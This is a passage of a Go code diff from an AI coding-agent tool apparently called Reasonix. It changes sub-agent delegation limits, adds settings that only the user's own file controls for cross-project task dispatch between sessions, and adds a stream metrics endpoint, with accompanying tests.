t.Fatal("the confirmation of b survived a disable and returned with a's enable")
}
}
// A file written before the list existed holds one Identity; it still reads, and
// the next enable adds to it.
func TestAFileWithOnlyTheSingleIdentityStillReads(t *testing.T) {
store, _, a, b := repoWithProjects(t)
entryA := declaredServer(t, a, "srv")
old := ServerOverrideFor(entryA, a, ActivationProject)
old.Enabled, old.Identity = true, ProjectDeclarationDigest(entryA, a)
if err := store.SetOverride(old); err != nil {
t.Fatal(err)
}
if d := decisionIn(t, store, a); d != ActivationEnabled {
t.Fatalf("an old single-identity row = %v, want enabled for its declaration", d)
}
enable(t, store, b)
for name, root := range map[string]string{"a": a, "b": b} {
if d := decisionIn(t, store, root); d != ActivationEnabled {
t.Errorf("project %s after adding to an old row: %v, want enabled", name, d)
}
}
}
// The list is bounded, oldest dropped: the file stays small and only the oldest
// confirmation is asked about again.
func TestTheConfirmedListIsBoundedAndKeepsTheNewest(t *testing.T) {
store, repo, _, _ := repoWithProjects(t)
var roots []string
for i := range maxConfirmedDeclarations + 2 {
root := filepath.Join(repo, fmt.Sprintf("p%d", i))
writeProjectFiles(t, root, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", fmt.Sprintf("echo %d", i)}})})
enable(t, store, root)
roots = append(roots, root)
}
if d := decisionIn(t, store, roots[0]); d == ActivationEnabled {
t.Error("the oldest confirmation survived past the bound")
}
if d := decisionIn(t, store, roots[len(roots)-1]); d != ActivationEnabled {
t.Errorf("the newest confirmation = %v, want enabled", d)
}
}
@@ -0,0 +1,31 @@
package config
import "fmt"
// agentLimits are the three counts that bound how much delegation runs at once.
// A repo may not move any of them: lowering one is a stall, and raising the
// depth is unbounded cost, so the user's own file decides all three.
type agentLimits struct {
concurrency, writers, depth int
}
func holdAgentLimits(c *Config) agentLimits {
return agentLimits{c.Agent.MaxSubagentConcurrency, c.Agent.MaxParallelWriters, c.Agent.MaxSubagentDepth}
}
func (h heldScope) narrowAgentLimits(c *Config) {
for _, l := range []struct {
key string
now *int
held int
}{
{"agent.max_subagent_concurrency", &c.Agent.MaxSubagentConcurrency, h.limits.concurrency},
{"agent.max_parallel_writers", &c.Agent.MaxParallelWriters, h.limits.writers},
{"agent.max_subagent_depth", &c.Agent.MaxSubagentDepth, h.limits.depth},
} {
if *l.now != l.held {
c.ignoreProject(l.key, fmt.Sprint(*l.now), ProjectUserOnly)
*l.now = l.held
}
}
}
@@ -0,0 +1,43 @@
package config
import (
"slices"
"testing"
)
// Nothing bounds delegation by count until the user's own file says so; the one
// exception is the recursion depth, whose default is a named stop at 8 that only
// an explicit 0 removes.
func TestDelegationCountsAreUnlimitedByDefaultAndDepthHasAStop(t *testing.T) {
d := Default().Agent
if d.MaxSubagentConcurrency != 0 || d.MaxParallelWriters != 0 {
t.Fatalf("defaults limit concurrency: %d sub-agents, %d writers", d.MaxSubagentConcurrency, d.MaxParallelWriters)
}
if d.MaxSubagentDepth != 8 {
t.Fatalf("default depth = %d, want the stop at 8", d.MaxSubagentDepth)
}
cfg, _ := loadScoped(t, "", "")
if cfg.Agent.MaxSubagentDepth != 8 {
t.Fatalf("a config that says nothing has depth %d, want 8", cfg.Agent.MaxSubagentDepth)
}
cfg, _ = loadScoped(t, "[agent]\nmax_subagent_depth = 0\nmax_parallel_writers = 5\n", "")
if cfg.Agent.MaxSubagentDepth != 0 || cfg.Agent.MaxParallelWriters != 5 {
t.Fatalf("explicit user values were not kept: depth %d, writers %d", cfg.Agent.MaxSubagentDepth, cfg.Agent.MaxParallelWriters)
}
}
func TestAProjectFileCannotMoveTheDelegationLimits(t *testing.T) {
cfg, _ := loadScoped(t, "", "[agent]\nmax_subagent_concurrency = 1\nmax_parallel_writers = 1\nmax_subagent_depth = 0\n")
if cfg.Agent.MaxSubagentConcurrency != 0 || cfg.Agent.MaxParallelWriters != 0 || cfg.Agent.MaxSubagentDepth != 8 {
t.Fatalf("a cloned repo moved the limits: %+v", cfg.Agent)
}
for _, key := range []string{"agent.max_subagent_concurrency", "agent.max_parallel_writers", "agent.max_subagent_depth"} {
if !slices.Contains(ignoredKeys(cfg), key) {
t.Errorf("ignored = %v, want %s reported", ignoredKeys(cfg), key)
}
}
cfg, _ = loadScoped(t, "[agent]\nmax_parallel_writers = 4\n", "[agent]\nmax_parallel_writers = 1\n")
if cfg.Agent.MaxParallelWriters != 4 {
t.Fatalf("the project file overrode the user's own limit: %d", cfg.Agent.MaxParallelWriters)
}
}
@@ -64,6 +64,10 @@ type ActivationOverride struct {
// Identity is the digest of the declaration an enable was given for; set
// only for a repository-declared server (see ProjectDeclarationDigest).
Identity string `json:"identity,omitempty"`
// Identities are the declarations confirmed for this slot when several projects
// of a repository declare one name. Identity stays the latest of them, so a
// reader that only knows Identity still works (see confirmedDeclarations).
Identities []string `json:"identities,omitempty"`
}
// ActivationFile is the on-disk shape of $REASONIX_HOME/capability-activation.json.
@@ -414,6 +418,7 @@ func normalizeOverride(o ActivationOverride) ActivationOverride {
o.Owner = strings.TrimSpace(o.Owner)
o.Key = strings.TrimSpace(o.Key)
o.Identity = strings.TrimSpace(o.Identity)
o.Identities = slices.DeleteFunc(slices.Clone(o.Identities), func(s string) bool { return strings.TrimSpace(s) == "" })
if o.Kind != CapabilitySkill {
o.Kind = CapabilityMCP
}
+8 -8
View File
@@ -1074,8 +1074,8 @@ type AgentConfig struct {
DecisionModel string `toml:"decision_model"`
SubagentEffort string `toml:"subagent_effort"`
SubagentEfforts map[string]string `toml:"subagent_efforts"`
MaxSubagentDepth int `toml:"max_subagent_depth"`
MaxSideSessions int `toml:"max_side_sessions"` // 0 (default) opens as many side conversations as asked; the user file only
MaxSubagentDepth int `toml:"max_subagent_depth"` // delegation layers; default 8 stops runaway recursion, 0 removes the stop; the user file only
MaxSideSessions int `toml:"max_side_sessions"` // 0 (default) opens as many side conversations as asked; the user file only
// TaskCostBudget lands a task on one summary once it spends this much.
TaskCostBudget float64 `toml:"task_cost_budget"`
// TaskTimeBudgetMinutes is the same gate on wall clock. All three ship off.
@@ -1087,11 +1087,11 @@ type AgentConfig struct {
GoalTokenBudget int `toml:"goal_token_budget"`
// MaxSubagentConcurrency bounds how many sub-agents (task, fleet items,
// profile skills, nested children) may run at once in one session.
// 0 means the default (6). Values outside 1–32 are clamped on load.
// 0, the default, sets no limit. The user file only.
MaxSubagentConcurrency int `toml:"max_subagent_concurrency"`
// MaxParallelWriters bounds concurrent writer-capable sub-agents that
// declare non-overlapping write_paths. 0 means the default (3). Must not
// exceed MaxSubagentConcurrency after normalization.
// declare non-overlapping write_paths. 0, the default, sets no limit: the
// path claims keep writers apart, not a count. The user file only.
MaxParallelWriters int `toml:"max_parallel_writers"`
SubagentClaims string `toml:"subagent_claims"` // "strict" (default) or "optimistic"; the user file only
WriteLease string `toml:"write_lease"` // "strict" (default) or "optimistic"; the user file only
@@ -1405,9 +1405,9 @@ func Default() *Config {
CompactRatio: 0.85,
CompactForceRatio: 0,
ContextEditing: "",
MaxSubagentDepth: 2,
MaxSubagentConcurrency: 6,
MaxParallelWriters: 3,
MaxSubagentDepth: 8,
MaxSubagentConcurrency: 0,
MaxParallelWriters: 0,
SubagentClaims: "strict",
WriteLease: "strict",
PlanApproval: "ask",
+58
View File
@@ -1,12 +1,70 @@
package config
import (
"fmt"
"path/filepath"
"slices"
"strings"
)
// PeersConfig governs messages between sessions of one user on one machine.
type PeersConfig struct {
// Enabled publishes this session to its peers and reads its own spool. Off
// by default; the user file only, so a cloned repo cannot open the door.
Enabled bool `toml:"enabled"`
// Dispatch gives the model a tool that hands a task to a session in another of
// the user's projects. Needs Enabled; off by default; the user file only.
Dispatch bool `toml:"dispatch"`
// ReleaseProjects lists projects whose sessions take a message from the user's
// other sessions without the approval card. Only the asking is skipped: what
// the message starts runs under that session's own approvals. User file only.
ReleaseProjects []string `toml:"release_projects"`
}
// PeersEnabled reports whether this session takes part in messages between
// sessions.
func (c *Config) PeersEnabled() bool { return c != nil && c.Peers.Enabled }
// PeersDispatch reports whether the model may dispatch a task to another project.
func (c *Config) PeersDispatch() bool { return c.PeersEnabled() && c.Peers.Dispatch }
// PeersReleasedProject reports whether root is a project the user lets take
// messages from their other sessions without a card.
func (c *Config) PeersReleasedProject(root string) bool {
if c == nil || root == "" {
return false
}
want := cleanProjectPath(root)
return slices.ContainsFunc(c.Peers.ReleaseProjects, func(p string) bool { return cleanProjectPath(p) == want })
}
func cleanProjectPath(p string) string {
p = filepath.Clean(p)
if resolved, err := filepath.EvalSymlinks(p); err == nil {
p = resolved
}
return p
}
func renderServeAndPeers(b *strings.Builder, c *Config) {
renderServeSection(b, c)
renderPeersSection(b, c)
}
// renderPeersSection writes [peers] only once something in it is set, so a user
// who never touched messages between sessions keeps a file without the table.
func renderPeersSection(b *strings.Builder, c *Config) {
p := c.Peers
if !p.Enabled && !p.Dispatch && len(p.ReleaseProjects) == 0 {
return
}
b.WriteString("[peers]\n")
fmt.Fprintf(b, "enabled = %v # messages between your sessions on this machine; user file only\n", p.Enabled)
if p.Dispatch {
b.WriteString("dispatch = true # the model may hand a task to a session in another of your projects; needs enabled\n")
}
if len(p.ReleaseProjects) > 0 {
fmt.Fprintf(b, "release_projects = %s # projects that take messages from your other sessions without a card\n", renderStringArray(p.ReleaseProjects))
}
b.WriteString("\n")
}
@@ -1,6 +1,8 @@
package config
import (
"os"
"path/filepath"
"slices"
"testing"
)
@@ -34,3 +36,65 @@ func TestAProjectFileCannotSwitchOffWhatTheUserChose(t *testing.T) {
t.Fatal("the project file overrode the user's own peers setting")
}
}
func TestSavingTheUserFileKeepsEveryPeersSetting(t *testing.T) {
t.Setenv("REASONIX_HOME", t.TempDir())
path := UserConfigPath()
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, []byte("[peers]\nenabled = true\ndispatch = true\nrelease_projects = [\"/work/b\", \"/work/c\"]\n"), 0o600); err != nil {
t.Fatal(err)
}
cfg := LoadForEdit(path)
cfg.Agent.MaxSideSessions = 2 // an unrelated save must not drop [peers]
if err := cfg.SaveTo(path); err != nil {
t.Fatal(err)
}
got := LoadForEdit(path).Peers
if !got.Enabled || !got.Dispatch || !slices.Equal(got.ReleaseProjects, []string{"/work/b", "/work/c"}) {
t.Fatalf("peers after an unrelated save = %+v", got)
}
}
func TestPeersDispatchNeedsPeersAndAProjectFileCannotGrantIt(t *testing.T) {
cfg, _ := loadScoped(t, "[peers]\ndispatch = true\n", "")
if cfg.PeersDispatch() {
t.Fatal("dispatch worked without messages between sessions being on")
}
cfg, _ = loadScoped(t, "[peers]\nenabled = true\n", "[peers]\ndispatch = true\nrelease_projects = [\"/x\"]\n")
if cfg.PeersDispatch() || cfg.PeersReleasedProject("/x") {
t.Fatal("a cloned repo's reasonix.toml granted dispatch or a release")
}
for _, key := range []string{"peers.dispatch", "peers.release_projects"} {
if !slices.Contains(ignoredKeys(cfg), key) {
t.Fatalf("ignored = %v, want %s reported", ignoredKeys(cfg), key)
}
}
cfg, _ = loadScoped(t, "[peers]\nenabled = true\ndispatch = true\nrelease_projects = [\"/x\"]\n", "")
if !cfg.PeersDispatch() || !cfg.PeersReleasedProject("/x") || cfg.PeersReleasedProject("/y") {
t.Fatalf("user file settings not honoured: %+v", cfg.Peers)
}
}
func TestSavingPeersSettingsWritesThemAndReadsThemBack(t *testing.T) {
t.Setenv("REASONIX_HOME", t.TempDir())
path := UserConfigPath()
cfg := LoadForEdit(path)
cfg.Peers = PeersConfig{Enabled: true, Dispatch: true, ReleaseProjects: []string{"/work/b"}}
if err := cfg.SaveTo(path); err != nil {
t.Fatal(err)
}
got := LoadForEdit(path).Peers
if !got.Enabled || !got.Dispatch || !slices.Equal(got.ReleaseProjects, []string{"/work/b"}) {
t.Fatalf("peers after saving = %+v", got)
}
cfg = LoadForEdit(path)
cfg.Peers = PeersConfig{}
if err := cfg.SaveTo(path); err != nil {
t.Fatal(err)
}
if got := LoadForEdit(path).Peers; got.Enabled || got.Dispatch || len(got.ReleaseProjects) != 0 {
t.Fatalf("peers after clearing = %+v", got)
}
}
+27
View File
@@ -0,0 +1,27 @@
package config
import (
"fmt"
"slices"
)
func clonePeers(p PeersConfig) PeersConfig {
p.ReleaseProjects = slices.Clone(p.ReleaseProjects)
return p
}
// narrowPeers puts back every messaging setting the project file touched: each
// one widens what a session of this user may send or accept, so only the user's
// own file decides.
func (h heldScope) narrowPeers(c *Config) {
if c.Peers.Enabled != h.peers.Enabled {
c.ignoreProject("peers.enabled", fmt.Sprintf("%t", c.Peers.Enabled), ProjectUserOnly)
}
if c.Peers.Dispatch != h.peers.Dispatch {
c.ignoreProject("peers.dispatch", fmt.Sprintf("%t", c.Peers.Dispatch), ProjectUserOnly)
}
if !slices.Equal(c.Peers.ReleaseProjects, h.peers.ReleaseProjects) {
c.ignoreProject("peers.release_projects", fmt.Sprint(c.Peers.ReleaseProjects), ProjectUserOnly)
}
c.Peers = clonePeers(h.peers)
}
+6 -6
View File
@@ -25,6 +25,7 @@ type heldScope struct {
autoSubmit bool
writeLease string
planApproval string
limits agentLimits
maxSideSession int
goalAutoRetry int
subagentClaims string
@@ -44,7 +45,7 @@ type heldScope struct {
// turnNarration is the user's [agent] turn_narration. It adds output tokens
// to every turn, so a cloned repo must not turn it on.
turnNarration string
peers bool
peers PeersConfig
// mcpResources decides whether a server's resources are readable by the model.
mcpResources bool
// webSearchBackends and searxngURL decide where the user's queries go, so
@@ -75,6 +76,7 @@ func holdUserScope(c *Config) heldScope {
autoSubmit: c.AutoSubmit,
writeLease: c.Agent.WriteLease,
planApproval: c.Agent.PlanApproval,
limits: holdAgentLimits(c),
maxSideSession: c.Agent.MaxSideSessions,
goalAutoRetry: c.Agent.GoalAutoRetry,
subagentClaims: c.Agent.SubagentClaims,
@@ -89,7 +91,7 @@ func holdUserScope(c *Config) heldScope {
layaLocal: c.Tools.SystemOne.Laya.Local,
rememberDevices: c.Serve.RememberPairedDevices,
turnNarration: c.TurnNarration(),
peers: c.Peers.Enabled,
peers: clonePeers(c.Peers),
mcpResources: c.Tools.MCPResources,
webSearchBackends: slices.Clone(c.Tools.WebSearchBackends),
@@ -184,10 +186,7 @@ func (h heldScope) narrow(c *Config, r Roots, root string, projectMeta toml.Meta
}
// Messages between sessions put other sessions' text in front of this one's
// model, so enabling them is the user's alone.
if c.Peers.Enabled != h.peers {
c.ignoreProject("peers.enabled", fmt.Sprintf("%t", c.Peers.Enabled), ProjectUserOnly)
c.Peers.Enabled = h.peers
}
h.narrowPeers(c)
// Letting the model read what a server publishes widens what a third party
// can put in front of it, so a cloned repo must not turn it on.
if c.Tools.MCPResources != h.mcpResources {
@@ -205,6 +204,7 @@ func (h heldScope) narrow(c *Config, r Roots, root string, projectMeta toml.Meta
c.ignoreProject("agent.max_side_sessions", fmt.Sprint(c.Agent.MaxSideSessions), ProjectUserOnly)
c.Agent.MaxSideSessions = h.maxSideSession
}
h.narrowAgentLimits(c)
if c.Agent.PlanApproval != h.planApproval {
c.ignoreProject("agent.plan_approval", c.Agent.PlanApproval, ProjectUserOnly)
c.Agent.PlanApproval = h.planApproval
+1 -1
View File
@@ -82,7 +82,7 @@ func RenderTOMLForScope(c *Config, scope RenderScope) string {
renderProgressWatchSection(&b, c)
renderAutoArchiveSection(&b, c)
renderServeSection(&b, c)
renderServeAndPeers(&b, c)
b.WriteString("[notifications]\n")
fmt.Fprintf(&b, "enabled = %v # system notifications for CLI and desktop turns; default off\n", c.Notifications.Enabled)
fmt.Fprintf(&b, "turn_done = %v # notify when a turn finishes\n", c.Notifications.TurnDone)
+17 -1
View File
@@ -1,6 +1,9 @@
package tool
import "sync"
import (
"context"
"sync"
)
// PeerView is another session on this machine that can be written to.
type PeerView struct {
@@ -21,6 +24,19 @@ type PeerDirectory interface {
SendPeerMessage(to, text string) (PeerReceipt, error)
}
// DispatchReceipt says a task was written into a session of another project.
type DispatchReceipt struct {
Project string
Key string
ID string
}
// ProjectDispatcher is what the dispatch tool asks of the session that owns it:
// hand a task to a session in another of the user's projects.
type ProjectDispatcher interface {
DispatchToProject(ctx context.Context, project, text string) (DispatchReceipt, error)
}
// PeerLink joins the peer tools, built with the registry, to the controller
// that exists only afterwards. Until the controller binds it the tools answer
// that no session is listening.
+151
View File
@@ -0,0 +1,151 @@
package serve
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"reasonix/internal/contract/config"
"reasonix/internal/session/control"
"reasonix/internal/state/sessionstore"
)
// dispatchBook remembers which pane a sender opened in which project, so a
// second task to the same project goes to the session already waiting instead
// of opening another.
type dispatchBook struct {
mu sync.Mutex
sessions map[dispatchKey]string
open func(context.Context, OpenRequest) (*Runtime, error) // nil: Hub.Open
}
type dispatchKey struct{ from, root string }
func (b *dispatchBook) get(from, root string) string {
b.mu.Lock()
defer b.mu.Unlock()
return b.sessions[dispatchKey{from, root}]
}
func (b *dispatchBook) set(from, root, id string) {
b.mu.Lock()
defer b.mu.Unlock()
if b.sessions == nil {
b.sessions = map[dispatchKey]string{}
}
b.sessions[dispatchKey{from, root}] = id
}
// dispatcherFor is what a pane's controller calls to hand a task to another of
// the user's projects. The controller has already checked the user's switch.
func (h *Hub) dispatcherFor(from *Runtime) control.ProjectDispatcher {
return func(ctx context.Context, project, text string) (control.DispatchResult, error) {
return h.dispatchTo(ctx, from, project, text)
}
}
func (h *Hub) dispatchTo(ctx context.Context, from *Runtime, project, text string) (control.DispatchResult, error) {
root, err := resolveDispatchProject(project, Workspaces())
if err != nil {
return control.DispatchResult{}, err
}
target := h.runtimeByID(h.dispatch.get(from.ID, root))
if target == nil {
if target, err = h.openDispatchSession(ctx, from, root); err != nil {
return control.DispatchResult{}, err
}
}
targetCtrl, ok := target.Server.Controller().(*control.Controller)
sender, senderOK := from.Server.Controller().(*control.Controller)
if !ok || !senderOK {
return control.DispatchResult{}, control.ErrDispatchUnavailable
}
key := targetCtrl.PeerKey()
if key == "" {
return control.DispatchResult{}, fmt.Errorf("%w: the new session did not publish itself", control.ErrDispatchFailed)
}
receipt, err := sender.SendPeerMessage(key, text)
if err != nil {
return control.DispatchResult{}, err
}
return control.DispatchResult{Project: root, Key: key, ID: receipt.ID}, nil
}
// openDispatchSession opens a fresh pane in root and gives it the file the
// sender will write to. A folder the user has not trusted is not opened for
// someone else's task: the pane is closed again and the dispatch refused.
func (h *Hub) openDispatchSession(ctx context.Context, from *Runtime, root string) (*Runtime, error) {
open := h.dispatch.open
if open == nil {
open = h.Open
}
target, err := open(ctx, OpenRequest{Root: root})
if err != nil {
return nil, fmt.Errorf("%w: %w", control.ErrDispatchFailed, err)
}
ctrl, ok := target.Server.Controller().(*control.Controller)
if !ok {
_ = h.Close(target.ID)
return nil, control.ErrDispatchUnavailable
}
if ctrl.WorkspaceTrust() != config.WorkspaceTrusted {
_ = h.Close(target.ID)
return nil, control.ErrDispatchUntrusted
}
ctrl.MarkOpenedByDispatch()
ctrl.SetFreshSessionPath(sessionstore.NewSessionPath(SessionDirFor(root), "dispatch"))
h.dispatch.set(from.ID, root, target.ID)
return target, nil
}
func (h *Hub) runtimeByID(id string) *Runtime {
if id == "" {
return nil
}
for _, rt := range h.localRuntimes() {
if rt.ID == id {
return rt
}
}
return nil
}
// resolveDispatchProject maps what the model wrote onto one of the user's own
// projects: an exact path, else a folder name. Two projects with one name, or
// none, is refused; a folder outside the list never resolves.
func resolveDispatchProject(name string, projects []string) (string, error) {
name = strings.TrimSpace(name)
if name == "" {
return "", control.ErrDispatchUnknownProject
}
if filepath.IsAbs(name) {
want := filepath.Clean(name)
for _, p := range projects {
if filepath.Clean(p) == want && dirExists(p) {
return p, nil
}
}
return "", control.ErrDispatchUnknownProject
}
var found []string
for _, p := range projects {
if strings.EqualFold(filepath.Base(p), name) && dirExists(p) {
found = append(found, p)
}
}
switch len(found) {
case 0:
return "", control.ErrDispatchUnknownProject
case 1:
return found[0], nil
}
return "", control.ErrDispatchAmbiguous
}
func dirExists(p string) bool {
st, err := os.Stat(p)
return err == nil && st.IsDir()
}
+175
View File
@@ -0,0 +1,175 @@
package serve
import (
"context"
"errors"
"os"
"path/filepath"
"testing"
"reasonix/internal/base/testenv"
"reasonix/internal/contract/config"
"reasonix/internal/session/control"
"reasonix/internal/state/sessionstore"
)
type dispatchFixture struct {
t *testing.T
hub *Hub
peersDir string
home string
opened int
}
func newDispatchFixture(t *testing.T, userFile string) *dispatchFixture {
t.Helper()
home := testenv.TempDir(t)
t.Setenv("REASONIX_HOME", home)
if userFile != "" {
if err := os.WriteFile(config.UserConfigPath(), []byte(userFile), 0o600); err != nil {
t.Fatal(err)
}
}
f := &dispatchFixture{t: t, hub: NewHub(HubOptions{}), peersDir: filepath.Join(home, "peers"), home: home}
f.hub.dispatch.open = func(_ context.Context, req OpenRequest) (*Runtime, error) {
f.opened++
return f.adopt(req.Root, ""), nil
}
return f
}
// adopt puts a peers-enabled session of root into the hub; path "" leaves it
// without a file yet, as a pane the hub just opened is.
func (f *dispatchFixture) adopt(root, path string) *Runtime {
f.t.Helper()
ctrl := control.New(control.Options{
WorkspaceRoot: root, SessionDir: SessionDirFor(root), SessionPath: path,
Peers: control.PeersOptions{Dir: f.peersDir},
Posture: control.PostureEvidence{Home: f.home},
})
f.t.Cleanup(ctrl.Close)
bc := NewBroadcaster()
rt, err := f.hub.Adopt(New(ctrl, bc, config.ServeConfig{}), bc)
if err != nil {
f.t.Fatal(err)
}
return rt
}
func (f *dispatchFixture) project(name string, trusted bool) string {
f.t.Helper()
dir := filepath.Join(testenv.TempDir(f.t), name)
if err := os.MkdirAll(dir, 0o755); err != nil {
f.t.Fatal(err)
}
rememberWorkspace(dir)
if trusted {
if err := config.NewProjectGrantStore(f.home).SetTrust(dir, config.WorkspaceTrusted); err != nil {
f.t.Fatal(err)
}
}
return dir
}
func (f *dispatchFixture) sender(root string) *control.Controller {
f.t.Helper()
path := sessionstore.NewSessionPath(SessionDirFor(root), "sender")
rt := f.adopt(root, path)
return rt.Server.Controller().(*control.Controller)
}
const dispatchOn = "[peers]\nenabled = true\ndispatch = true\n"
func TestDispatchOpensASessionInTheOtherProjectAndHoldsTheTaskThere(t *testing.T) {
f := newDispatchFixture(t, dispatchOn)
a, b := f.project("alpha", true), f.project("billing", true)
sender := f.sender(a)
got, err := sender.DispatchToProject(context.Background(), "billing", "rotate the key")
if err != nil {
t.Fatal(err)
}
if got.Project != b || got.Key == "" || got.ID == "" || f.opened != 1 {
t.Fatalf("result = %+v, opened %d; want the billing project, a key, an id and one pane", got, f.opened)
}
var receiver *control.Controller
for _, rt := range f.hub.localRuntimes() {
if c, ok := rt.Server.Controller().(*control.Controller); ok && c.PeerKey() == got.Key {
receiver = c
}
}
if receiver == nil {
t.Fatal("no pane answers to the returned key")
}
receiver.RefreshPeers()
held := receiver.HeldPeerMessages()
if len(held) != 1 || held[0].Body != "rotate the key" {
t.Fatalf("held = %+v, want the task waiting for the receiver's user", held)
}
if !receiver.OpenedByDispatch() {
t.Fatal("the opened session is not marked as opened by a dispatch")
}
again, err := sender.DispatchToProject(context.Background(), "billing", "and one more thing")
if err != nil || again.Key != got.Key || f.opened != 1 {
t.Fatalf("second dispatch = %+v, %v with %d panes opened; want the same session reused", again, err, f.opened)
}
}
func TestDispatchRefusesWithTypedIdentities(t *testing.T) {
f := newDispatchFixture(t, dispatchOn)
a := f.project("alpha", true)
f.project("same", true)
f.project("same", true)
f.project("stranger", false)
sender := f.sender(a)
ctx := context.Background()
for name, tc := range map[string]struct {
project string
want error
}{
"unknown": {"nowhere", control.ErrDispatchUnknownProject},
"ambiguous": {"same", control.ErrDispatchAmbiguous},
"untrusted": {"stranger", control.ErrDispatchUntrusted},
"outside": {"/tmp", control.ErrDispatchUnknownProject},
} {
if _, err := sender.DispatchToProject(ctx, tc.project, "x"); !errors.Is(err, tc.want) {
t.Errorf("%s: err = %v, want %v", name, err, tc.want)
}
}
if got := len(f.hub.localRuntimes()); got != 1 {
t.Fatalf("%d panes left open, want only the sender's (the untrusted one closed again)", got)
}
}
func TestADispatchedSessionCannotDispatchFurther(t *testing.T) {
f := newDispatchFixture(t, dispatchOn)
a, _ := f.project("alpha", true), f.project("billing", true)
sender := f.sender(a)
if _, err := sender.DispatchToProject(context.Background(), "billing", "x"); err != nil {
t.Fatal(err)
}
for _, rt := range f.hub.localRuntimes() {
c := rt.Server.Controller().(*control.Controller)
if c.OpenedByDispatch() {
if _, err := c.DispatchToProject(context.Background(), "alpha", "back again"); !errors.Is(err, control.ErrDispatchNested) {
t.Fatalf("nested dispatch = %v, want ErrDispatchNested", err)
}
return
}
}
t.Fatal("no dispatched session found")
}
func TestDispatchIsOffUnlessTheUserFileSaysSo(t *testing.T) {
f := newDispatchFixture(t, "[peers]\nenabled = true\n")
f.project("billing", true)
sender := f.sender(f.project("alpha", true))
if _, err := sender.DispatchToProject(context.Background(), "billing", "x"); !errors.Is(err, control.ErrDispatchUnavailable) {
t.Fatalf("dispatch with the switch off = %v, want ErrDispatchUnavailable", err)
}
if f.opened != 0 {
t.Fatal("a pane was opened with dispatch off")
}
}
+5 -36
View File
@@ -75,6 +75,8 @@ type Hub struct {
stance *approvalStance
changes *Broadcaster
muxes *eventMuxes
// dispatch remembers the panes a task was handed to; see dispatch.go.
dispatch dispatchBook
}
// approvalStance is the Ask/Auto/YOLO posture the frontend is in, held by the
@@ -704,6 +706,9 @@ func (h *Hub) publish(rt *Runtime) error {
return err
}
}
if concrete {
ctrl.SetProjectDispatcher(h.dispatcherFor(rt))
}
rt.Server.bindMu.Unlock()
rt.Server.bc.observeTree(h.treeChanged)
// A local runtime a Hub publishes is driven by an interactive frontend,
@@ -744,42 +749,6 @@ func (h *Hub) findSession(path string) *Runtime {
return nil
}
// resolveRoot decides which folder a new runtime opens against: the one asked
// for, the one that owns the session being opened, or the first runtime's.
func (h *Hub) resolveRoot(req OpenRequest) (string, error) {
if root := h.listedSessionRoot(req.SessionPath, req.Root); root != "" {
return resolveWorkspaceDir(root)
}
if root := strings.TrimSpace(req.Root); root != "" {
return resolveWorkspaceDir(root)
}
if path := strings.TrimSpace(req.SessionPath); path != "" {
if root := workspaceRootForSession(path); root != "" {
return root, nil
}
}
h.mu.RLock()
first := ""
if len(h.order) > 0 {
if rt := h.runtimes[h.order[0]]; rt != nil {
first = rt.Server.Controller().WorkspaceRoot()
}
}
h.mu.RUnlock()
if first != "" {
return first, nil
}
// Closing the last pane leaves nothing to infer from, and "open a session"
// is exactly what someone does next. Fall back to the remembered list, the
// same answer the window uses when it launches with no pane at all.
for _, dir := range LaunchWorkspaces() {
if st, err := os.Stat(dir); err == nil && st.IsDir() {
return dir, nil
}
}
return "", refusal(http.StatusConflict, "workspace.none", errors.New("no workspace to open in — add a folder first"), nil)
}
func (h *Hub) nextID() string {
h.mu.Lock()
defer h.mu.Unlock()
+44
View File
@@ -8,6 +8,7 @@ import (
"net/http"
"strings"
"sync"
"sync/atomic"
"time"
)
@@ -72,6 +73,8 @@ type muxPane struct {
unsubscribe func()
stop chan struct{}
bc *Broadcaster
sent atomic.Int64
lastSeq atomic.Int64
}
func (m *eventMuxes) open() *muxConn {
@@ -203,6 +206,8 @@ func (c *muxConn) next(cursor *int) ([]byte, bool) {
select {
case f := <-p.slot:
*cursor = idx + 1
p.sent.Add(1)
p.lastSeq.Store(f.Seq)
return muxEnvelope(p.id, string(f.Data)), true
default:
}
@@ -220,7 +225,46 @@ func (c *muxConn) watermarks() [][]byte {
return out
}
// muxPaneMetrics is one pane's delivery on a connection. Behind is how many
// frames the pane has numbered that this connection has not yet written: zero
// is a pane that is idle or caught up, and a count that does not fall is a pane
// that has stopped being delivered.
type muxPaneMetrics struct {
Pane string `json:"pane"`
Sent int64 `json:"sent"`
LastSeq int64 `json:"last_seq"`
Watermark int64 `json:"watermark"`
Behind int64 `json:"behind"`
}
type muxMetrics struct {
Conn string `json:"conn"`
Panes []muxPaneMetrics `json:"panes"`
}
func (c *muxConn) metrics() muxMetrics {
c.mu.Lock()
defer c.mu.Unlock()
out := muxMetrics{Conn: c.id, Panes: make([]muxPaneMetrics, 0, len(c.order))}
for _, id := range c.order {
p := c.panes[id]
last, mark := p.lastSeq.Load(), p.bc.Watermark()
out.Panes = append(out.Panes, muxPaneMetrics{Pane: id, Sent: p.sent.Load(), LastSeq: last, Watermark: mark, Behind: max(mark-last, 0)})
}
return out
}
func (h *Hub) muxMetrics(w http.ResponseWriter, r *http.Request) {
c := h.muxes.get(r.PathValue("conn"))
if c == nil {
refuse(w, http.StatusNotFound, codeMuxUnknownConn, "this stream is not open; open a new one and subscribe again", nil)
return
}
writeJSON(w, c.metrics())
}
func (h *Hub) registerMuxRoutes(mux *http.ServeMux) {
mux.HandleFunc("GET /events/mux/{conn}/metrics", h.muxMetrics)
mux.HandleFunc("GET /events/mux", h.muxStream)
mux.HandleFunc("PUT /events/mux/{conn}/panes/{id}", h.muxAttach)
mux.HandleFunc("DELETE /events/mux/{conn}/panes/{id}", h.muxDetach)
@@ -0,0 +1,105 @@
package serve
import (
"encoding/json"
"net/http"
"testing"
"time"
)
type muxMetricsBody struct {
Conn string `json:"conn"`
Panes []struct {
Pane string `json:"pane"`
Sent int64 `json:"sent"`
LastSeq int64 `json:"last_seq"`
Watermark int64 `json:"watermark"`
Behind int64 `json:"behind"`
} `json:"panes"`
}
func readMuxMetrics(t *testing.T, base, conn string) muxMetricsBody {
t.Helper()
resp, err := http.Get(base + "/events/mux/" + conn + "/metrics")
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("metrics = %d", resp.StatusCode)
}
var out muxMetricsBody
